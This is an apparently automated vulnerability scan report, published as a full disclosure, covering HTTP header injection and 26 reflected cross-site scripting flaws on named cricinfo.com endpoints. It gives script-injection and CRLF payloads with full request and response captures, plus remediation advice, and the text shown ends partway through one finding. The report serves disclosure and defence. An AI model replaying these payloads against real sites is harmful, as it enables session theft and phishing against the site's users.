Current Research | Full Disclosure | As of March 14, 2011
Plesk SMB 10.2.0 Windows - Site Editor | Full Disclosure
Plesk Small Business Manager 10.2.0 for Windows | Full Disclosure
Hoyt LLC Research | Full Disclosure Report on Stored XSS in SmarterMail 8.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterStats 6.0
Hoyt LLC Research - Full Disclosure | Blog Article | SmarterMail 7.x Series
Report generated by XSS.CX at Sat Nov 13 20:11:21 CST 2010.
Cross Site Scripting Reports | Hoyt LLC Research
1. HTTP header injection
2. Cross-site scripting (reflected)
2.1. http://submit.cricinfo.com/ci/content/submit/comment/redirect.html [object_id parameter]
2.2. http://submit.cricinfo.com/ci/content/submit/comment/usr_login.html [object_id parameter]
2.3. http://submit.cricinfo.com/ci/content/submit/member_mgmt/user_registration.html [name of an arbitrarily supplied request parameter]
2.4. http://submit.cricinfo.com/ci/content/submit/member_mgmt/user_registration.html [object_id parameter]
2.5. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/login_validate.html [callback parameter]
2.6. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_registration.html [name of an arbitrarily supplied request parameter]
2.7. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_registration.html [sc parameter]
2.8. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_screenname.html [remember parameter]
2.9. http://submit.cricinfo.com/ci/content/submit/comment/redirect.html [Referer HTTP header]
2.10. http://submit.cricinfo.com/ci/content/submit/comment/usr_login.html [Referer HTTP header]
2.11. http://submit.cricinfo.com/ci/content/submit/member_mgmt/user_registration.html [Referer HTTP header]
2.12. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_registration.html [Referer HTTP header]
2.13. http://submit.cricinfo.com/ci/content/submit/member_mgmt/user_registration.html [Q_cricinfo_cluster cookie]
2.14. http://submit.cricinfo.com/ci/content/submit/member_mgmt/user_registration.html [Q_cricinfo_cluster cookie]
2.15. http://submit.cricinfo.com/ci/content/submit/member_mgmt/user_registration.html [Q_cricinfo_country cookie]
2.16. http://submit.cricinfo.com/ci/content/submit/member_mgmt/user_registration.html [Q_cricinfo_country cookie]
2.17. http://submit.cricinfo.com/ci/content/submit/poll/cast_vote.html [Q_cricinfo_cluster cookie]
2.18. http://submit.cricinfo.com/ci/content/submit/poll/cast_vote.html [Q_cricinfo_cluster cookie]
2.19. http://submit.cricinfo.com/ci/content/submit/poll/cast_vote.html [Q_cricinfo_country cookie]
2.20. http://submit.cricinfo.com/ci/content/submit/poll/cast_vote.html [Q_cricinfo_country cookie]
2.21. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_registration.html [Q_cricinfo_cluster cookie]
2.22. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_registration.html [Q_cricinfo_cluster cookie]
2.23. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_registration.html [Q_cricinfo_country cookie]
2.24. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_registration.html [Q_cricinfo_country cookie]
2.25. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_screenname.html [Q_cricinfo_cluster cookie]
2.26. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_screenname.html [Q_cricinfo_country cookie]
1. HTTP header injection
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/ci/content/submit/comment/redirect.html |
Issue detail
The value of the object_id request parameter is copied into the Location response header. The payload 3ca92%0d%0a5d6cccec3bc was submitted in the object_id parameter. This caused a response containing an injected HTTP header.
Issue background
HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.
Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.
Issue remediation
If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.
Request
GET /ci/content/submit/comment/redirect.html?object_id=3ca92%0d%0a5d6cccec3bc HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.cricinfo.com/australia-v-sri-lanka-2010/content/story/485657.html?5fcad"><script>alert(1)</script>7b256488062=1
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: submit.cricinfo.com
|
Response
HTTP/1.1 301 Moved Permanently
Date: Sun, 07 Nov 2010 03:12:20 GMT
Server: Apache
Set-Cookie: Q_cricinfo_country=us; path=/; domain=.cricinfo.com
Set-Cookie: Q_cricinfo_cluster=usa; path=/; domain=.cricinfo.com
Location: /ci/content/submit/comment/usr_login.html?object_id=3ca92
5d6cccec3bc;content_type_id=;genre_id=;story_abstract=;story_title=
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=iso-8859-1
Content-Length: 334
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="/ci/content/submit/comm
...[SNIP]...
|
2. Cross-site scripting (reflected)
previous
There are 26 instances of this issue:
Issue background
Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:- Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
- User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
2.1. http://submit.cricinfo.com/ci/content/submit/comment/redirect.html [object_id parameter]
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/ci/content/submit/comment/redirect.html |
Issue detail
The value of the object_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a682"><script>alert(1)</script>a5ecb98fc96 was submitted in the object_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /ci/content/submit/comment/redirect.html?object_id=4a682"><script>alert(1)</script>a5ecb98fc96 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.cricinfo.com/australia-v-sri-lanka-2010/content/story/485657.html?5fcad"><script>alert(1)</script>7b256488062=1
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: submit.cricinfo.com
|
Response (redirected)
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:12:20 GMT
Server: Apache
Set-Cookie: Q_cricinfo_country=us; path=/; domain=.cricinfo.com
Set-Cookie: Q_cricinfo_cluster=usa; path=/; domain=.cricinfo.com
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 1409
<style type="text/css">
#stryFtrLft, #stryFtrRt {
float:left;
width:312px;
}
.rltdBlue, .rltdBlue a:link, .rltdBlue a:visited, .rltdBlue a:active {
color:#0b3766;
font-size:12px;
text-decoratio
...[SNIP]...
<a target="_top" href="/ci/content/submit/member_mgmt/user_registration.html?object_id=4a682"><script>alert(1)</script>a5ecb98fc96;sc=Comments;ref=http://www.cricinfo.com/australia-v-sri-lanka-2010/content/story/485657.html?5fcad">
...[SNIP]...
|
2.2. http://submit.cricinfo.com/ci/content/submit/comment/usr_login.html [object_id parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/ci/content/submit/comment/usr_login.html |
Issue detail
The value of the object_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51d4a"><script>alert(1)</script>ae55648a8a6 was submitted in the object_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ci/content/submit/comment/usr_login.html?object_id=51d4a"><script>alert(1)</script>ae55648a8a6 HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.cricinfo.com/australia-v-sri-lanka-2010/content/story/485657.html?5fcad"><script>alert(1)</script>7b256488062=1
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Cookie: Q_cricinfo_country=us; Q_cricinfo_cluster=usa
Proxy-Connection: Keep-Alive
Host: submit.cricinfo.com
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:12:20 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 1409
<style type="text/css">
#stryFtrLft, #stryFtrRt {
float:left;
width:312px;
}
.rltdBlue, .rltdBlue a:link, .rltdBlue a:visited, .rltdBlue a:active {
color:#0b3766;
font-size:12px;
text-decoratio
...[SNIP]...
<a target="_top" href="/ci/content/submit/member_mgmt/user_registration.html?object_id=51d4a"><script>alert(1)</script>ae55648a8a6;sc=Comments;ref=http://www.cricinfo.com/australia-v-sri-lanka-2010/content/story/485657.html?5fcad">
...[SNIP]...
|
2.3. http://submit.cricinfo.com/ci/content/submit/member_mgmt/user_registration.html [name of an arbitrarily supplied request parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/ci/content/submit/member_mgmt/user_registration.html |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb2d5"><script>alert(1)</script>b00739a6776 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ci/content/submit/member_mgmt/user_registration.html?bb2d5"><script>alert(1)</script>b00739a6776=1 HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:14:08 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 148320
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us, cluster: usa, created: 2010-11-07 03:14:08
...[SNIP]...
<input type="hidden" name="referer" value="/ci/content/submit/member_mgmt/user_registration.html?bb2d5"><script>alert(1)</script>b00739a6776=1">
...[SNIP]...
|
2.4. http://submit.cricinfo.com/ci/content/submit/member_mgmt/user_registration.html [object_id parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/ci/content/submit/member_mgmt/user_registration.html |
Issue detail
The value of the object_id request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 264cf"><script>alert(1)</script>5ffea527bb5 was submitted in the object_id parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /ci/content/submit/member_mgmt/user_registration.html?object_id=485657;sc=Comments;ref=http://www.cricinfo.com/australia-v-sri-lanka-2010/content/story/485657.html?5fcad264cf"><script>alert(1)</script>5ffea527bb5 HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:12:39 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 148519
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us, cluster: usa, created: 2010-11-07 03:12:39
...[SNIP]...
="hidden" name="referer" value="/ci/content/submit/member_mgmt/user_registration.html?object_id=485657;sc=Comments;ref=http://www.cricinfo.com/australia-v-sri-lanka-2010/content/story/485657.html?5fcad264cf"><script>alert(1)</script>5ffea527bb5">
...[SNIP]...
|
2.5. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/login_validate.html [callback parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/member_mgmt/content/submit/member_mgmt/login_validate.html |
Issue detail
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 5bb4b<script>alert(1)</script>67896ac1a97 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /member_mgmt/content/submit/member_mgmt/login_validate.html?callback=?5bb4b<script>alert(1)</script>67896ac1a97 HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:16:50 GMT
Server: Apache
Set-Cookie: CI_Pub_data=; path=/; domain=.cricinfo.com; expires=Sat, 06-Nov-2010 03:16:50 GMT
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 160
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
?5bb4b<script>alert(1)</script>67896ac1a97
({
"status" : "-1",
"message" : "Invalid email ID/password. Please try again"
})
|
2.6. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_registration.html [name of an arbitrarily supplied request parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/member_mgmt/content/submit/member_mgmt/user_registration.html |
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e4e3a"><script>alert(1)</script>f099b4e3b36 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /member_mgmt/content/submit/member_mgmt/user_registration.html?e4e3a"><script>alert(1)</script>f099b4e3b36=1 HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:18:36 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 148438
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us, cluster: usa, created: 2010-11-07 03:18:36
...[SNIP]...
<input type="hidden" name="referer" value="/member_mgmt/content/submit/member_mgmt/user_registration.html?e4e3a"><script>alert(1)</script>f099b4e3b36=1">
...[SNIP]...
|
2.7. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_registration.html [sc parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/member_mgmt/content/submit/member_mgmt/user_registration.html |
Issue detail
The value of the sc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b6a6"><script>alert(1)</script>dbf3b9311b was submitted in the sc parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /member_mgmt/content/submit/member_mgmt/user_registration.html?sc=masthead9b6a6"><script>alert(1)</script>dbf3b9311b HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:17:04 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 148538
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us, cluster: usa, created: 2010-11-07 03:17:04
...[SNIP]...
<input type="hidden" name="SourceCategory" value="masthead9b6a6"><script>alert(1)</script>dbf3b9311b">
...[SNIP]...
|
2.8. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_screenname.html [remember parameter]
previous
next
Summary
| Severity: |
High |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/member_mgmt/content/submit/member_mgmt/user_screenname.html |
Issue detail
The value of the remember request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 517ee"><script>alert(1)</script>3bb15ef92c9 was submitted in the remember parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /member_mgmt/content/submit/member_mgmt/user_screenname.html?remember=517ee"><script>alert(1)</script>3bb15ef92c9 HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us;
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:16:53 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 11715
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us, cluster: usa, created: 2010-11-07 03:16:53
...[SNIP]...
<input type="hidden" name="remember" id="WelcomeScrName" value="517ee"><script>alert(1)</script>3bb15ef92c9">
...[SNIP]...
|
2.9. http://submit.cricinfo.com/ci/content/submit/comment/redirect.html [Referer HTTP header]
previous
next
Summary
| Severity: |
Low |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/ci/content/submit/comment/redirect.html |
Issue detail
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 296e5"><script>alert(1)</script>e5a735cc086 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /ci/content/submit/comment/redirect.html?object_id=485657;content_type_id=1;story_abstract=Sri%20Lanka%20captain%20Kumar%20Sangakkara%20was%20unsurprisingly%20full%20of%20praise%20for%20his%20team%20after%20they%20wrapped%20up%20their%20first%20ever%20series%20victory%20on%20Australian%20soil%20with%20a%2029-run%20win%20in%20the%20second%20one-dayer%20at%20the%20Sydney%20Cricket%20Ground;story_title=Sangakkara%20credits%20Sri%20Lanka's%20self-belief%20in%20series%20win; HTTP/1.1
Accept: image/jpeg, image/gif, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
Referer: http://www.google.com/search?hl=en&q=296e5"><script>alert(1)</script>e5a735cc086
Accept-Language: en-US
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E)
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Host: submit.cricinfo.com
|
Response (redirected)
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:12:48 GMT
Server: Apache
Set-Cookie: Q_cricinfo_country=us; path=/; domain=.cricinfo.com
Set-Cookie: Q_cricinfo_cluster=usa; path=/; domain=.cricinfo.com
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 1330
<style type="text/css">
#stryFtrLft, #stryFtrRt {
float:left;
width:312px;
}
.rltdBlue, .rltdBlue a:link, .rltdBlue a:visited, .rltdBlue a:active {
color:#0b3766;
font-size:12px;
text-decoratio
...[SNIP]...
<a target="_top" href="/ci/content/submit/member_mgmt/user_registration.html?object_id=485657;sc=Comments;ref=http://www.google.com/search?hl=en&q=296e5"><script>alert(1)</script>e5a735cc086" class="rltdBlue">
...[SNIP]...
|
2.10. http://submit.cricinfo.com/ci/content/submit/comment/usr_login.html [Referer HTTP header]
previous
next
Summary
| Severity: |
Low |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/ci/content/submit/comment/usr_login.html |
Issue detail
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a22ce"><script>alert(1)</script>99653f53917 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /ci/content/submit/comment/usr_login.html HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us;
Referer: http://www.google.com/search?hl=en&q=a22ce"><script>alert(1)</script>99653f53917
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:12:42 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 1324
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<style type="text/css">
#stryFtrLft, #stryFtrRt {
float:left;
width:312px;
}
.rltdBlue, .rltdBlue a:link, .rltdBlue a:visited, .rltdBlue a:active {
color:#0b3766;
font-size:12px;
text-decoratio
...[SNIP]...
<a target="_top" href="/ci/content/submit/member_mgmt/user_registration.html?object_id=;sc=Comments;ref=http://www.google.com/search?hl=en&q=a22ce"><script>alert(1)</script>99653f53917" class="rltdBlue">
...[SNIP]...
|
2.11. http://submit.cricinfo.com/ci/content/submit/member_mgmt/user_registration.html [Referer HTTP header]
previous
next
Summary
| Severity: |
Low |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/ci/content/submit/member_mgmt/user_registration.html |
Issue detail
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f392d"><script>alert(1)</script>00c65ad03a2 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Request
GET /ci/content/submit/member_mgmt/user_registration.html HTTP/1.1
Host: submit.cricinfo.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: Q_cricinfo_cluster=usa; Q_cricinfo_country=us;
Referer: http://www.google.com/search?hl=en&q=f392d"><script>alert(1)</script>00c65ad03a2
|
Response
HTTP/1.1 200 OK
Date: Sun, 07 Nov 2010 03:14:52 GMT
Server: Apache
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: Sun, 06 Jan 1985 03:30:00 GMT
Content-Length: 148354
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- hostname: submit, country: us, cluster: usa, created: 2010-11-07 03:14:52
...[SNIP]...
<input type="hidden" name="referer" value="http://www.google.com/search?hl=en&q=f392d"><script>alert(1)</script>00c65ad03a2">
...[SNIP]...
|
2.12. http://submit.cricinfo.com/member_mgmt/content/submit/member_mgmt/user_registration.html [Referer HTTP header]
previous
next
Summary
| Severity: |
Low |
| Confidence: |
Certain |
| Host: |
http://submit.cricinfo.com |
| Path: |
/member_mgmt/content/submit/member_mgmt/user_registration.html |
Issue detail
The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c86d5"><script>alert(1)</script>3da25da6da3 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
